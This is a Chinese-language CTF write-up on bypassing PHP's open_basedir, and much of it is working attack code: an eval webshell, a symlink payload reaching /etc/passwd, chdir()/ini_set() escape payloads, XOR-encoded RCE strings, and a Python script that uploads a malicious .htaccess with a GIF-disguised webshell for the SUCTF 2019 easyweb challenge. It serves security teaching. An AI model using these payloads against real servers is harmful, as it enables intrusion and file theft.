Bypass open_basedir的方法
文章目录
- open_basedir概念
- 绕过方法
- 命令执行绕过
- symlink 绕过 (软连接)
- 利用chdir()与ini_set()组合绕过
- 例题 [suctf 2019]easyweb
open_basedir概念
open_basedir是php.ini的设置
在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容
打个比方
如果我们设置 open_basedir=/var/www/html
那我们只能访问
/var/www/html/index.php
/var/www/html/images/logo.png
/var/www/html/includes/config.php
不能访问
/var/www/otherfile.php(不在指定目录之下)
/var/www/html2/index.php(不是以指定路径为前缀)
所以open_basedir并不是以目录名为规定,而是路径
本地测试一下,这里我设置的路径
我们在该路径下创建test.php,随便写入代码
发现成功访问
而访问其他路径文件时则不行
绕过方法
命令执行绕过
我们在/WWW
目录下创建flag文件
然后在修改刚刚的test.php
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?>
然后POST传参命令执行读取,发现成功绕过
但一般情况下是存在过滤的
symlink 绕过 (软连接)
symlink() 函数创建一个从指定名称连接的现存目标文件开始的符号连接。
适用版本:PHP 4, PHP 5, PHP 7
语法
symlink(target,link)
payload如下
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","a");
symlink("a/../../../../etc/passwd","exp");
unlink("a");
mkdir("a");
?>
在linux运行脚本后得到exp的符号链接
原理:创建一个链接文件a,用相对路径指向A/B/C/D
,再创建一个链接文件exp指向a/../../../../etc/passwd
。其实指向的就是A/B/C/D/../../../../etc/passwd
,其实就是/etc/passwd。这时候删除a,再创建一个a目录,但exp还是指向a/../../../etc/passwd
,所以就成功跨到/etc/passwd了。
payload构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个…/来设置目标文件。
利用chdir()与ini_set()组合绕过
测试代码如下
<?php
show_source(__FILE__);
echo 'open_basedir: '.ini_get('open_basedir').'</br>';
eval($_POST['c']);
echo '</br>';
echo 'open_basedir: '.ini_get('open_basedir');
?>
payload
c=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');
成功实现切换到根目录
然后我们再读取文件即可
完整payload如下
c=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('flag');
例题 [suctf 2019]easyweb
考点:利用chdir()与ini_set()组合绕过
源码如下
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
题目是给了我们get_the_flag()函数的,对文件上传进行检测。检测文件名是否包含ph以及文件内容是否包含<?
,检测文件头,然后回显上传路径;然后给了参数命令执行,其中限制长度和无字母数字RCE
我们先测试下可用字符
<?php
$arr = [];
for($i = 0;$i < 255;$i++){
$string = chr($i);
if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $string)){
$arr[$i] = $string;
}
}
print_r($arr);
发现可以异或绕过,但是考虑限制长度,我们构造如下
?_=$_GET{b}();&b=phpinfo
然后将被过滤的字符进行异或%ff
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
那么我们尝试调用题目给的函数,利用.htaccess配置文件攻击进行python文件上传
脚本如下
import requests
import base64
url = "http://node4.anna.nssctf.cn:28331/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .aa
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.aa"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST[1]);?>")
file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)
file2 = {'file':('shell.aa',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)
首先是.htaccess
配置文件攻击,然后php_value auto_append_file
指定在每个 PHP 脚本执行完毕后自动追加的文件,用php伪协议去读取我们编码过的马,其中木马添加00是为了满足解码字节倍数,然后就是文件头绕过
访问命令执行成功
尝试查看根目录发现不行,原来是有限制
payload
1=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
得到flag